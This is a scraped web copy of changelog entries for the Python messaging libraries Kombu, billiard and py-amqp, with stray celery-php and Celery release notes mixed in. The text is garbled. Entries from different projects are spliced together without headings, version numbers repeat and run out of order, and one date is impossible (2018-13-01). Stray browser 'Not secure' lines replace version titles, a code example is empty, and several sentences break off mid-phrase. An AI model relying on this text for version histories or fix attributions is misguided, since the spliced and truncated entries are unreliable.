- PyPy: kqueue support was broken.

- Redis: Bad pub/sub payloads no longer crashes the consumer.

- Redis: Unix socket URLs can now specify a virtual host by including
it as a query parameter.

Example URL specifying a virtual host using database number 3:

.. code-block:: text


- ``kombu.VERSION`` is now a named tuple.

.. _version-3.0.5:


Not secure
:release-date: 2013-11-15 11:00 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.3.3.

- Redis: Fixed Python 3 compatibility problem (Issue 270).

- MongoDB: Fixed problem with URL parsing when authentication used.

Fix contributed by dongweiming.

- pyamqp: Fixed small issue when publishing the message and
the property dictionary was set to None.

Fix contributed by Victor Garcia.

- Fixed problem in ``repr(LaxBoundedSemaphore)``.

Fix contributed by Antoine Legrand.

- Tests now passing on Python 3.3.

.. _version-3.0.4:


Not secure
:release-date: 2013-11-08 01:00 P.M UTC
:release-by: Ask Solem

- common.QoS: ``decrement_eventually`` now makes sure the value
does not go below 1 if a prefetch count is enabled.

.. _version-3.0.3:


Not secure
:release-date: 2013-11-04 03:00 P.M UTC
:release-by: Ask Solem

- SQS: Properly reverted patch that caused delays between messages.

Contributed by James Saryerwinnie

- select: Clear all registerd fds on poller.cloe

- Eventloop: unregister if EBADF raised.

.. _version-3.0.2:


Not secure
:release-date: 2013-10-29 02:00 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` version 1.3.2.

- select: Fixed problem where unregister did not properly remove
the fd.

.. _version-3.0.1:


Not secure
:release-date: 2013-10-24 04:00 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` version 1.3.1.

- Redis: New option ``fanout_keyprefix``

This transport option is recommended for all users as it ensures
that broadcast (fanout) messages sent is only seen by the current
virtual host:

.. code-block:: python

Connection('redis://', transport_options={'fanout_keyprefix': True})

However, enabling this means that you cannot send or receive messages
from older Kombu versions so make sure all of your participants
are upgraded and have the transport option enabled.

This will be the default behavior in Kombu 4.0.

- Distribution: Removed file ``requirements/py25.txt``.

- MongoDB: Now disables ``auto_start_request``.

- MongoDB: Enables ``use_greenlets`` if eventlet/gevent used.

- Pidbox: Fixes problem where expires header was None,
which is a value not supported by the amq protocol.

- ConsumerMixin: New ``consumer_context`` method for starting
the consumer without draining events.

.. _version-3.0.0:



Kombu 3 consumers will no longer accept pickle/yaml or msgpack
by default, and you will have to explicitly enable untrusted deserializers
either globally using :func:`kombu.enable_insecure_serializers`, or
using the ``accept`` argument to :class:`~kombu.Consumer`.


- New utility function to disable/enable untrusted serializers.

- :func:`kombu.disable_insecure_serializers`
- :func:`kombu.enable_insecure_serializers`.

- Consumer: ``accept`` can now be used to specify a whitelist
of content types to accept.

If the accept whitelist is set and a message is received
with a content type that is not in the whitelist then a
:exc:`~kombu.exceptions.ContentDisallowed` exception
is raised. Note that this error can be handled by the already
existing `on_decode_error` callback


.. code-block:: python

Consumer(accept=['pickle', 'json'])

- Now depends on amqp 1.0.11

- pidbox: Mailbox now supports the ``accept`` argument.

- Redis: More friendly error for when keys are missing.

- Connection URLs: The parser did not work well when there were
multiple '+' tokens.

.. _version-2.5.9:


Not secure
- **Removed support for PHP 5.3.**
- celery-php now uses a PSR-4 compliant namespace, `Celery`. To migrate to the
new version, change code from `new Celery(…)` to `new \Celery\Celery(…)`.
- Now supports php-amqplib/php-amqplib for the amqplib backend as
videlalvaro/php-amqplib is abandoned.
- Fix crash with the ampqlib backend when Celery has not yet created the
results exchange.
- The `Celery` constructor no longer accepts the argument
`persistent_messages`. It was previously unused.
- celery-php now uses Celery task protocol version 2 and requires Celery 4.0+.

.. _changelog:

Change history

This document contains change notes for bugfix & new features
in the master branch & 5.2.x series, please see :ref:`whatsnew-5.2` for
an overview of what's new in Celery 5.2.

.. _version-5.3.0a1:


- Fixed ImportError in billiard._ext


- Compilation: Fixed improper handling of HAVE_SEM_OPEN (Issue 55)

Fix contributed by Krzysztof Jagiello.

- Process now releases logging locks after fork.

This previously happened in Pool, but it was done too late
as processes logs when they bootstrap.

- Pool.terminate_job now ignores `No such process` errors.

- billiard.Pool entrypoint did not support new arguments
to billiard.pool.Pool

- Connection inbound buffer size increased from 1kb to 128kb.

- C extension cleaned up by properly adding a namespace to symbols.

- _exit_function now works even if thread wakes up after gc collect.


- Pool: Fixed regression that disabled the deadlock
fix in

- Pool: RestartFreqExceeded could be raised prematurely.

- Process: Include pid in startup and process INFO logs.


- Manager now works again.

- Python 3 fixes for billiard.connection.

- Fixed invalid argument bug when running on Python 3.3

Fix contributed by Nathan Wan.

- Ignore OSError when setting up signal handlers.


- Pool: Child processes must ignore SIGINT.


- Pool: broke support for subprocesses (Issue 48).

Signals that should be ignored were instead handled
by terminating.


- Pool: Make sure finally blocks are called when process exits
due to a signal.

This fixes a deadlock problem when the process is killed
while having acquired the shared semaphore. However, this solution
does not protect against the processes being killed, a more elaborate
solution is required for that. Hopefully this will be fixed soon in a
later version.

- Pool: Can now use GDB to debug pool child processes.

- Fixes Python 3 compatibility problems.

Contributed by Albertas Agejevas.


- Windows: Now catches SystemExit from setuptools while trying to build
the C extension (Issue 41).


- Pool: apply_async now supports a ``callbacks_propagate`` keyword
argument that can be a tuple of exceptions to propagate in callbacks.
(callback, errback, accept_callback, timeout_callback).

- Errors are no longer logged for OK and recycle exit codes.

This would cause normal maxtasksperchild recycled process
to log an error.

- Fixed Python 2.5 compatibility problem (Issue 33).

- FreeBSD: Compilation now disables semaphores if Python was built
without it (Issue 40).

Contributed by William Grzybowski


- Fixed typo EX_REUSE -> EX_RECYCLE

- Code now conforms to new rules.


- Pool: Disable restart limit if maxR is not set.

- Pool: Now uses os.kill instead of signal.signal.

Contributed by Lukasz Langa

- Fixed name error in

- Pool: ApplyResult.get now properly raises exceptions.

Fix contributed by xentac.


- Fixes problem at shutdown when gc has collected symbols.

- Pool now always uses _kill for Py2.5 compatibility on Windows (Issue 32).

- Fixes Python 3 compatibility issues


- [Pool] Fix for check_timeouts if not set.

Fix contributed by Dmitry Sukhov

- Fixed pickle problem with Traceback.

Code.frame.__loader__ is now ignored as it may be set to
an unpickleable object.

- The Django old-layout warning was always showing.


- Fixes typo


- Windows: Fixes for SemLock._rebuild (Issue 24).

- Pool: Job terminated with terminate_job now raises


- Windows: Fixes unpickling of SemLock when using fallback.

- Windows: Fixes installation when no C compiler.


- Installation now works again for Python 3.


- Merged with Python trunk (many authors, many fixes: see Python changelog in

- Using execv now also works with older Django projects using setup_environ
(Issue 10).

- Billiard now installs with a warning that the C extension could not be built
if a compiler is not installed or the build fails in some other way.

It really is recommended to have the C extension installed when running
with force execv, but this change also makes it easier to install.

- Pool: Hard timeouts now sends KILL shortly after TERM so that C extensions
cannot block the signal.

Python signal handlers are called in the interpreter, so they cannot
be called while a C extension is blocking the interpreter from running.

- Now uses a timeout value for Thread.join that doesn't exceed the maximum
on some platforms.

- Fixed bug in the SemLock fallback used when C extensions not installed.

Fix contributed by Mher Movsisyan.

- Pool: Now sets a Process.index attribute for every process in the pool.

This number will always be between 0 and concurrency-1, and
can be used to e.g. create a logfile for each process in the pool
without creating a new logfile whenever a process is replaced.


- Fixed Python 2.5 compatibility issue.

- New Pool.terminate_job(pid) to terminate a job without raising WorkerLostError


- Adds support for FreeBSD 7+

Fix contributed by koobs.

- Pool: New argument ``allow_restart`` is now required to enable
the pool process sentinel that is required to restart the pool.

It's disabled by default, which reduces the number of file
descriptors/semaphores required to run the pool.

- Pool: Now emits a warning if a worker process exited with error-code.

But not if the error code is 155, which is now returned if the worker
process was recycled (maxtasksperchild).

- Python 3 compatibility fixes.

- Python 2.5 compatibility fixes.


- The ``TimeLimitExceeded`` exception string representation
only included the seconds as a number, it now gives a more human
friendly description.

- Fixed typo in ``LaxBoundedSemaphore.shrink``.

- Pool: ``ResultHandler.handle_event`` no longer requires
any arguments.

- bdist now works


- Environment variable ``MP_MAIN_FILE`` envvar is now set to
the path of the ``__main__`` module when execv is enabled.

- Pool: Errors occurring in the TaskHandler are now reported.


- Can now be installed on Py 3.2

- Issue 12091: simplify ApplyResult and MapResult with threading.Event

Patch by Charles-Francois Natali

- Pool: Support running without TimeoutHandler thread.

- The with_*_thread arguments has also been replaced with
a single `threads=True` argument.

- Two new pool callbacks:

- ``on_timeout_set(job, soft, hard)``

Applied when a task is executed with a timeout.

- ``on_timeout_cancel(job)``

Applied when a timeout is cancelled (the job completed)


- Fixes Python 2.5 support.


- Pool: Can now be used in an event loop, without starting the supporting
threads (TimeoutHandler still not supported)

To facilitate this the pool has gained the following keyword arguments:

- ``with_task_thread``
- ``with_result_thread``
- ``with_supervisor_thread``
- ``on_process_up``

Callback called with Process instance as argument
whenever a new worker process is added.

Used to add new process fds to the eventloop::

def on_process_up(proc):
hub.add_reader(proc.sentinel, pool.maintain_pool)

- ``on_process_down``

Callback called with Process instance as argument
whenever a new worker process is found dead.

Used to remove process fds from the eventloop::

def on_process_down(proc):

- ``semaphore``

Sets the semaphore used to protect from adding new items to the
pool when no processes available. The default is a threaded
one, so this can be used to change to an async semaphore.

And the following attributes::

- ``readers``

A map of ``fd`` -> ``callback``, to be registered in an eventloop.
Currently this is only the result outqueue with a callback
that processes all currently incoming results.

And the following methods::

- ``did_start_ok``

To be called after starting the pool, and after setting up the
eventloop with the pool fds, to ensure that the worker processes
didn't immediately exit caused by an error (internal/memory).

- ``maintain_pool``

Public version of ``_maintain_pool`` that handles max restarts.

- Pool: Process too frequent restart protection now only counts if the process
had a non-successful exit-code.

This to take into account the maxtasksperchild option, and allowing
processes to exit cleanly on their own.

- Pool: New options max_restart + max_restart_freq

This means that the supervisor can't restart processes
faster than max_restart' times per max_restart_freq seconds
(like the Erlang supervisor maxR & maxT settings).

The pool is closed and joined if the max restart
frequency is exceeded, where previously it would keep restarting
at an unlimited rate, possibly crashing the system.

The current default value is to stop if it exceeds
100 * process_count restarts in 1 seconds. This may change later.

It will only count processes with an unsuccessful exit code,
this is to take into account the ``maxtasksperchild`` setting
and code that voluntarily exits.

- Pool: The ``WorkerLostError`` message now includes the exit-code of the
process that disappeared.


- Now always cleans up after ``sys.exc_info()`` to avoid
cyclic references.

- ExceptionInfo without arguments now defaults to ``sys.exc_info``.

- Forking can now be disabled using the

Also this envvar is set so that the behavior is inherited
after execv.

- The semaphore cleanup process started when execv is used
now sets a useful process name if the ``setproctitle``
module is installed.

environment variable if forking is disabled.


- Added `billiard.ensure_multiprocessing()`

Raises NotImplementedError if the platform does not support
multiprocessing (e.g. Jython).


- PyPy now falls back to using its internal _multiprocessing module,
so everything works except for forking_enable(False) (which
silently degrades).

- Fixed Python 2.5 compat. issues.

- Uses more with statements

- Merged some of the changes from the Python 3 branch.


- Now installs on PyPy/Jython (but does not work).


- Python 2.5 support added.


- Updated from Python 2.7.3

- Python 2.4 support removed, now only supports 2.5, 2.6 and 2.7.
(may consider py3k support at some point).

- Pool improvements from Celery.

- no-execv patch added (


:release-date: 2020-07-31 10.30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Fix buffer overflow in frame_writer after frame_max is increased. `frame_writer`
allocates a `bytearray` on initialization with a length based on the `connection.frame_max`
value. If `connection.frame_max` is changed to a larger value, this causes an
error like `pack_into requires a buffer of at least 408736 bytes`.

.. _version-2.6.0:


:release-date: 20-06-01 12.00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Implement speedups in cython (311)
- Updated some tests & code improvements
- Separate logger for Connection.heartbeat_tick method
- Cython generic content (315)
- Improve documentation a_global parameter of basic_qos() method.
- Fix saving partial read buffer on windows during socket timeout. (321)
- Fix deserialization of long string field values that are not utf-8.
- Added simple cythonization of
- Speedups of are more restrictive

.. _version-2.5.2:


:release-date: 2013-10-04 03:30 P.M BST
:release-by: Ask Solem

- Python 3: Fixed problem with dependencies not being installed.

.. _version-2.5.15:


:release-date: 2013-10-04 03:30 P.M BST
:release-by: Ask Solem

- Declaration cache: Now only keeps hash of declaration
so that it does not keep a reference to the channel.

- Declaration cache: Now respects ``entity.can_cache_declaration``

- Fixes Python 2.5 compatibility.

- Fixes tests after python-msgpack changes.

- ``Queue.get``: Now supports ``accept`` argument.

.. _version-2.5.14:


:release-date: 2013-08-23 05:00 P.M BST
:release-by: Ask Solem

- safe_str did not work properly resulting in
:exc:`UnicodeDecodeError` (Issue 248).

.. _version-2.5.13:


:release-date: 2013-08-16 04:00 P.M BST
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.0.13

- Fixed typo in Django functional tests.

- safe_str now returns Unicode in Python 2.x

Fix contributed by Germán M. Bravo.

- amqp: Transport options are now merged with arguments
supplied to the connection.

- Tests no longer depends on distribute, which was deprecated
and merged back into setuptools.

Fix contributed by Sascha Peilicke.

- ConsumerMixin now also restarts on channel related errors.

Fix contributed by Corentin Ardeois.

.. _version-2.5.12:


:release-date: 2013-06-28 03:30 P.M BST
:release-by: Ask Solem

- Redis: Ignore errors about keys missing in the round-robin cycle.

- Fixed test suite errors on Python 3.

- Fixed msgpack test failures.

.. _version-2.5.11:


:release-date: 2013-06-25 02:30 P.M BST
:release-by: Ask Solem

- Now depends on amqp 1.0.12 (Py3 compatibility issues).

- MongoDB: Removed cause of a "database name in URI is being ignored"

Fix by Flavio Percoco Premoli

- Adds ``passive`` option to :class:`~kombu.Exchange`.

Setting this flag means that the exchange will not be declared by kombu,
but that it must exist already (or an exception will be raised).

Contributed by Rafal Malinowski

- now gives the current hostname and not the list of
available hostnames.

Fix contributed by John Shuping.

- pyamqp: Transport options are now forwarded as kwargs to ``amqp.Connection``.

- librabbitmq: Transport options are now forwarded as kwargs to

- librabbitmq: Now raises :exc:`NotImplementedError` if SSL is enabled.

The librabbitmq library does not support ssl,
but you can use stunnel or change to the ``pyamqp://`` transport

Fix contributed by Dan LaMotte.

- librabbitmq: Fixed a cyclic reference at connection close.

- eventio: select implementation now removes bad file descriptors.

- eventio: Fixed Py3 compatibility problems.

- Functional tests added for py-amqp and librabbitmq transports.

- Resource.force_close_all no longer uses a mutex.

- Pidbox: Now ignores `IconsistencyError` when sending replies,
as this error simply means that the client may no longer be alive.

- Adds new :meth:`Connection.collect <~kombu.Connection.collect>` method,
that can be used to clean up after connections without I/O.

- ``queue_bind`` is no longer called for queues bound to
the "default exchange" (Issue 209).

Contributed by Jonathan Halcrow.

- The max_retries setting for retries was not respected correctly (off by one).

.. _version-2.5.10:


:release-date: 2013-04-11 06:10 P.M BST
:release-by: Ask Solem


:release-date: 2013-04-08 05:07 P.M BST
:release-by: Ask Solem

- Pidbox: Now warns if there are multiple nodes consuming from
the same pidbox.

- Adds :attr:`Queue.on_declared <kombu.Queue.on_declared>`

A callback to be called when the queue is declared,
with signature ``(name, messages, consumers)``.

- Now uses fuzzy matching to suggest alternatives to typos in transport

- SQS: Adds new transport option ``queue_prefix``.

Contributed by j0hnsmith.

- pyamqp: No longer overrides verify_connection.

- SQS: Now specifies the ``driver_type`` and ``driver_name``

Fix contributed by Mher Movsisyan.

- Fixed bug with ``kombu.utils.retry_over_time`` when no errback

.. _version-2.5.8:


:release-date: 2013-03-21 04:00 P.M UTC
:release-by: Ask Solem

- Now depends on :mod:`amqp` 1.0.10 which fixes a Python 3 compatibility error.

- Redis: Fixed a possible race condition (Issue 171).

- Redis: Ack emulation/visibility_timeout can now be disabled
using a transport option.

Ack emulation adds quite a lot of overhead to ensure data is safe
even in the event of an unclean shutdown. If data loss do not worry
you there is now an `ack_emulation` transport option you can use
to disable it:

.. code-block:: python

Connection('redis://', transport_options={'ack_emulation': False})

- SQS: Fixed :mod:`boto` v2.7 compatibility (Issue 207).

- Exchange: Should not try to re-declare default exchange (``""``)
(Issue 209).

- SQS: Long polling is now disabled by default as it was not
implemented correctly, resulting in long delays between receiving
messages (Issue 202).

- Fixed Python 2.6 incompatibility depending on ``exc.errno``
being available.

Fix contributed by Ephemera.

.. _version-2.5.7:


:release-date: 2013-03-08 01:00 P.M UTC
:release-by: Ask Solem

- Now depends on amqp 1.0.9

- Redis: A regression in 2.5.6 caused the redis transport to
ignore options set in ``transport_options``.

- Redis: New ``socket_timeout`` transport option.

- Redis: ``InconsistencyError`` is now regarded as a recoverable error.

- Resource pools: Will no longer attempt to release resource
that was never acquired.

- MongoDB: Now supports the ``ssl`` option.

Contributed by Sebastian Pawlus.

.. _version-2.5.6:


:release-date: 2013-02-08 01:00 P.M UTC
:release-by: Ask Solem

- Now depends on amqp 1.0.8 which works around a bug found on some
Python 2.5 installations where 2**32 overflows to 0.

.. _version-2.5.5:


Not secure
:release-date: 2013-02-07 05:00 P.M UTC
:release-by: Ask Solem

SQS: Now supports long polling (Issue 176).

The polling interval default has been changed to 0 and a new
transport option (``wait_time_seconds``) has been added.
This parameter specifies how long to wait for a message from
SQS, and defaults to 20 seconds, which is the maximum
value currently allowed by Amazon SQS.

Contributed by James Saryerwinnie.

- SQS: Now removes unpickleable fields before restoring messages.

- Consumer.__exit__ now ignores exceptions occurring while
canceling the consumer.

- Virtual: Routing keys can now consist of characters also used
in regular expressions (e.g. parens) (Issue 194).

- Virtual: Fixed compression header when restoring messages.

Fix contributed by Alex Koshelev.

- Virtual: ack/reject/requeue now works while using ``basic_get``.

- Virtual: Message.reject is now supported by virtual transports
(requeue depends on individual transport support).

- Fixed typo in hack used for static analyzers.

Fix contributed by Basil Mironenko.

.. _version-2.5.4:


:release-date: 2012-12-10 12:35 P.M UTC
:release-by: Ask Solem

- Fixed problem with connection clone and multiple URLs (Issue 182).

Fix contributed by Dane Guempel.

- zeromq: Now compatible with libzmq 3.2.x.

Fix contributed by Andrey Antukh.

- Fixed Python 3 installation problem (Issue 187).

.. _version-2.5.3:


Not secure
:release-date: 2012-11-29 12:35 P.M UTC
:release-by: Ask Solem

- Pidbox: Fixed compatibility with Python 2.6


Not secure
:release-date: 2019-09-30 19.00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Fixed a channel issue against a connection already closed
- Updated some tests & code improvements

.. _version-2.5.1:


Not secure
:release-date: 2019-08-14 22.00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Ignore all methods except Close and Close-OK when channel/connection is closing
- Fix faulty ssl sni intiation parameters (283)
- Undeprecate auto_delete flag for exchanges. (287)
- Improved tests and testing environments

.. _version-2.5.0:


Not secure
:release-date: 2019-05-30 17.30 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Drop Python 3.4
- Add new platform
- Numerious bug fixes
.. _version-2.4.2:


:release-date: 2012-11-22 06:00 P.M UTC
:release-by: Ask Solem

- The previous versions connection pool changes broke Redis support so that
it would always connect to localhost (default setting) no matter what
connection parameters were provided (Issue 176).

.. _version-2.4.9:


:release-date: 2012-11-21 03:00 P.M UTC
:release-by: Ask Solem

- Redis: Fixed race condition that could occur while trying to restore
messages (Issue 171).

Fix contributed by Ollie Walsh.

- Redis: Each channel is now using a specific connection pool instance,
which is disconnected on connection failure.

- ProducerPool: Fixed possible dead-lock in the acquire method.

- ProducerPool: ``force_close_all`` no longer tries to call the non-existent

- librabbitmq: Now implements ``transport.verify_connection`` so that
connection pools will not give back connections that are no longer working.

- New and better ``repr()`` for Queue and Exchange objects.

- Python 3: Fixed problem with running the unit test suite.

- Python 3: Fixed problem with JSON codec.

.. _version-2.4.8:


:release-date: 2012-11-02 05:00 P.M UTC
:release-by: Ask Solem

- Redis: Improved fair queue cycle implementation (Issue 166).

Contributed by Kevin McCarthy.

- Redis: Unacked message restore limit is now unlimited by default.

Also, the limit can now be configured using the ``unacked_restore_limit``
transport option:

.. code-block:: python

Connection('redis://', transport_options={
'unacked_restore_limit': 100,

A limit of 100 means that the consumer will restore at most 100
messages at each pass.

- Redis: Now uses a mutex to ensure only one consumer restores messages at a

The mutex expires after 5 minutes by default, but can be configured
using the ``unacked_mutex_expire`` transport option.

- LamportClock.adjust now returns the new clock value.

- Heartbeats can now be specified in URLs.

Fix contributed by Mher Movsisyan.

- Kombu can now be used with PyDev, PyCharm and other static analysis tools.

- Fixes problem with msgpack on Python 3 (Issue 162).

Fix contributed by Jasper Bryant-Greene

- amqplib: Fixed bug with timeouts when SSL is used in non-blocking mode.

Fix contributed by Mher Movsisyan

.. _version-2.4.7:


Not secure
:release-date: 2012-09-18 03:00 P.M BST
:release-by: Ask Solem

- Virtual: Unknown exchanges now default to 'direct' when sending a message.

- MongoDB: Fixed memory leak when merging keys stored in the db (Issue 159)

Fix contributed by Michael Korbakov.

- MongoDB: Better index for MongoDB transport (Issue 158).

This improvement will create a new compund index for queue and _id in order
to be able to use both indexed fields for getting a new message (using
queue field) and sorting by _id. It'll be necessary to manually delete
the old index from the collection.

Improvement contributed by rmihael

.. _version-2.4.6:


Not secure
:release-date: 2012-09-12 03:00 P.M BST
:release-by: Ask Solem

- Adds additional compatibility dependencies:

- Python <= 2.6:

- importlib
- ordereddict

- Python <= 2.5

- simplejson

.. _version-2.4.5:


Not secure
:release-date: 2012-08-30 03:36 P.M BST
:release-by: Ask Solem

- Last version broke installtion on PyPy and Jython due
to test requirements clean-up.

.. _version-2.4.4:


Not secure
:release-date: 2012-08-29 04:00 P.M BST
:release-by: Ask Solem

- amqplib: Fixed a bug with asynchronously reading large messages.

- pyamqp: Now requires amqp 0.9.3

- Cleaned up test requirements.

.. _version-2.4.3:


Not secure
:release-date: 2012-08-25 10:30 P.M BST
:release-by: Ask Solem

- Fixed problem with amqp transport alias (Issue 154).

.. _version-2.4.2:


Not secure
:release-date: 2019-03-03 10:45 P.M UTC+2:00
:release-by: Omer Katz

- Added support for the Cygwin platform

Contributed by **Matus Valo**

- Correct offset incrementation when parsing bitmaps.

Contributed by **Allan Simon** & **Omer Katz**

- Consequent bitmaps are now parsed correctly.

Previously the bit counter was reset with every bit.
We now reset it once per 8 bits, when we consume the next byte.

Contributed by **Omer Katz**

Code Cleanups & Improvements:

- **Patrick Cloke**
- **Matus Valo**
- **Jeremiah Cooper**
- **Omer Katz**

Test Coverage & CI Improvements:

- **Matus Valo**
- **Omer Katz**
- **Jeremiah Cooper**
- **Omer Katz**

.. _version-2.4.1:


Not secure
:release-date: 2018-04-02 9:00 A.M UTC+2
:release-by: Omer Katz

- To avoid breaking the API basic_consume() now returns the consumer tag
instead of a tuple when nowait is True.

Fix contributed by **Matus Valo**

- Fix crash in basic_publish when broker does not support connection.blocked

Fix contributed by **Matus Valo**

- read_frame() is now Python 3 compatible for large payloads.

Fix contributed by **Antonio Ojea**

- Support float read_timeout/write_timeout.

Fix contributed by **:github_user:`cadl`**

- Always treat SSLError timeouts as socket timeouts.

Fix contributed by **Dirk Mueller** and **Antonio Ojea**

- Treat EWOULDBLOCK as timeout.

This fixes a regression on Windows from 2.4.0.

Fix contributed by **Lucian Petrut**

Test Coverage & CI Improvements:

- **Matus Valo**
- **Antonio Ojea**

.. _version-2.4.0:


Not secure
:release-date: 2018-13-01 1:00 P.M UTC+2
:release-by: Omer Katz

- Fix inconsistent frame_handler return value.

The function returned by frame_handler is meant to return True
once the complete message is received and the callback is called,
False otherwise.

This fixes the return value for messages with a body split across
multiple frames, and heartbeat frames.

Fix contributed by **:github_user:`evanunderscore`**

- Don't default content_encoding to utf-8 for bytes.

This is not an acceptable default as the content may not be
valid utf-8, and even if it is, the producer likely does not
expect the message to be decoded by the consumer.

Fix contributed by **:github_user:`evanunderscore`**

- Fix encoding of messages with multibyte characters.

Body length was previously calculated using string length,
which may be less than the length of the encoded body when
it contains multibyte sequences. This caused the body of
the frame to be truncated.

Fix contributed by **:github_user:`evanunderscore`**

- Respect content_encoding when encoding messages.

Previously the content_encoding was ignored and messages
were always encoded as utf-8. This caused messages to be
incorrectly decoded if content_encoding is properly respected
when decoding.

Fix contributed by **:github_user:`evanunderscore`**

- Fix AMQP protocol header for AMQP 0-9-1.

Previously it was set to a different value for unknown reasons.

Fix contributed by **Carl Hörberg**

- Add support for Python 3.7.

Change direct SSLSocket instantiation with wrap_socket.
Added Python 3.7 to CI.

Fix contributed by **Omer Katz** and **:github_user:`avborhanian`**

- Add support for field type "x" (byte array).

Fix contributed by **Davis Kirkendall**

- If there is an exception raised on Connection.connect or Connection.close,
ensure that the underlying transport socket is closed.

Adjust exception message on connection errors as well.

Fix contributed by **:github_user:`tomc797`**

- TCP_USER_TIMEOUT has to be excluded from KNOWN_TCP_OPTS in BSD platforms.

Fix contributed by **George Tantiras**

- Handle negative acknowledgments.

Fix contributed by **Matus Valo**

- Added integration tests.

Fix contributed by **Matus Valo**

- Fix basic_consume() with no consumer_tag provided.

Fix contributed by **Matus Valo**

- Improved empty AMQPError string representation.

Fix contributed by **Matus Valo**

- Drain events before publish.

This is needed to capture out of memory messages for clients that only
publish. Otherwise on_blocked is never called.

Fix contributed by **Jelte Fennema** and **Matus Valo**

- Don't revive channel when connection is closing.

When connection is closing don't raise error when Channel.Close method is received.

Fix contributed by **Matus Valo**

.. _version-2.3.2:


Not secure
:release-date: 2018-05-29 15:30 P.M UTC+3
:release-by: Omer Katz

- Fix a regression that occurs when running amqp on OSX.

TCP_USER_TIMEOUT is not available when running on OSX.
We now remove it from the set of known TCP options.

Fix contributed by **Ofer Horowitz**

.. _version-2.3.1:


Not secure
:release-date: 2018-05-28 16:30 P.M UTC+3
:release-by: Omer Katz

- Fix a regression that occurs when running amqp under Python 2.7.

182 mistakenly replaced a type check with unicode to string_t which is str
in Python 2.7. text_t should have been used instead.
This is now fixed and the tests have been adjusted to ensure this never regresses

Fix contributed by **Omer Katz**

.. _version-2.3.0:


Not secure
:release-date: 2018-05-27 16:30 P.M UTC+3
:release-by: Omer Katz

- Cleanup TCP configurations across platforms and unified defaults.

Fix contributed by **Dan Chowdhury**

- Fix for TypeError when setting socket options.

Fix contributed by **Matthias Erll**

- Ensure that all call sites for decoding bytes to str allow surrogates,
as the encoding mechanism now supports.

Fix contributed by **Stephen Hatch**

- Don't send AAAA DNS request when domain resolved to IPv4 address.

Fix contributed by **Ihar Hrachyshka & Omer Katz**

- Support for EXTERNAL authentication and specific login_method.

Fix contributed by **Matthias Erll**

- If the old python-gssapi library is installed the gssapi module will be available.
We now ensure that we only use the new gssapi library.

Fix contributed by **Jacopo Notarstefano**

Code Cleanups & Test Coverage:

- :github_user:`eric-eric-eric`
- **Omer Katz**
- **Jon Dufresne**
- **Matthias Urlichs**

.. _version-2.2.2:


Not secure
:release-date: 2012-07-10 05:00 P.M BST
:release-by: Ask Solem

- Adds ``kombu.messaging.entry_to_queue`` for compat with previous versions.

.. _version-2.2.5:


Not secure
:release-date: 2012-07-10 05:00 P.M BST
:release-by: Ask Solem

- Pidbox: Now sets queue expire at 10 seconds for reply queues.

- EventIO: Now ignores ``ValueError`` raised by epoll unregister.

- MongoDB: Fixes Issue 142

Fix by Flavio Percoco Premoli

.. _version-2.2.4:


Not secure
:release-date: 2012-07-05 04:00 P.M BST
:release-by: Ask Solem

- Support for msgpack-python 0.2.0 (Issue 143)

The latest msgpack version no longer supports Python 2.5, so if you're
still using that you need to depend on an earlier msgpack-python version.

Fix contributed by Sebastian Insua

- :func:`~kombu.common.maybe_declare` no longer caches entities with the
``auto_delete`` flag set.

- New experimental filesystem transport.

Contributed by Bobby Beever.

- Virtual Transports: Now support anonymous queues and exchanges.

.. _version-2.2.3:


Not secure
:release-date: 2012-06-24 05:00 P.M BST
:release-by: Ask Solem

- ``BrokerConnection`` now renamed to ``Connection``.

The name ``Connection`` has been an alias for a very long time,
but now the rename is official in the documentation as well.

The Connection alias has been available since version 1.1.3,
and ``BrokerConnection`` will still work and is not deprecated.

- ``Connection.clone()`` now works for the sqlalchemy transport.

- :func:`kombu.common.eventloop`, :func:`kombu.utils.uuid`,
and :func:`kombu.utils.url.parse_url` can now be
imported from the :mod:`kombu` module directly.

- Pidbox transport callback ``after_reply_message_received`` now happens
in a finally block.

- Trying to use the ``librabbitmq://`` transport will now show the right
name in the :exc:`ImportError` if :mod:`librabbitmq` is not installed.

The librabbitmq falls back to the older ``pylibrabbitmq`` name for
compatibility reasons and would therefore show ``No module named
pylibrabbitmq`` instead of librabbitmq.

.. _version-2.2.2:


Not secure
:release-date: 2017-09-14 09:00 A.M UTC+2
:release-by: Omer Katz

- Sending empty messages no longer hangs. Instead an empty message is sent correctly.(addresses 151)

Fix contributed by **Christian Blades**

- Fixed compatibility issues in UTF-8 encoding behavior between Py2/Py3 (164)

Fix contributed by **Tyler James Harden**

.. _version-2.2.1:


Not secure
:release-date: 2017-07-14 09:00 A.M UTC+2
:release-by: Omer Katz

- Fix implicit conversion from bytes to string on the connection object. (Issue 155)

This issue has caused Celery to crash on connection to RabbitMQ.

Fix contributed by **Omer Katz**

.. _version-2.2.0:


Not secure
:release-date: 2017-07-12 10:00 A.M UTC+2
:release-by: Ask Solem

- Fix random delays in task execution.

This is a bug that caused performance issues due to polling timeouts that occur when receiving incomplete AMQP frames. (Issues 3978 3737 3814)

Fix contributed by **Robert Kopaczewski**

- Calling ``conn.collect()`` multiple times will no longer raise an ``AttributeError`` when no channels exist.

Fix contributed by **Gord Chung**

- Fix compatibility code for Python 2.7.6.

Fix contributed by **Jonathan Schuff**

- When running in Windows, py-amqp will no longer use the unsupported TCP option TCP_MAXSEG.

Fix contributed by **Tony Breeds**

- Added support for setting the SNI hostname header.

The SSL protocol version is now set to SSLv23

Contributed by **Dhananjay Sathe**

- Authentication mechanisms were refactored to be more modular. GSSAPI authentication is now supported.

Contributed by **Alexander Dutton**

- Do not reconnect on collect.

Fix contributed by **Gord Chung**

.. _version-2.1.4:


:release-date: 2012-05-06 03:06 P.M BST
:release-by: Ask Solem

* Bound Exchange/Queue's are now pickleable.

* Consumer/Producer can now be instantiated without a channel,
and only later bound using ``.revive(channel)``.

* ProducerPool now takes ``Producer`` argument.

* :func:`~kombu.utils.fxrange` now counts forever if the
stop argument is set to None.
(fxrange is like xrange but for decimals).

* Auto delete support for virtual transports were incomplete
and could lead to problems so it was removed.

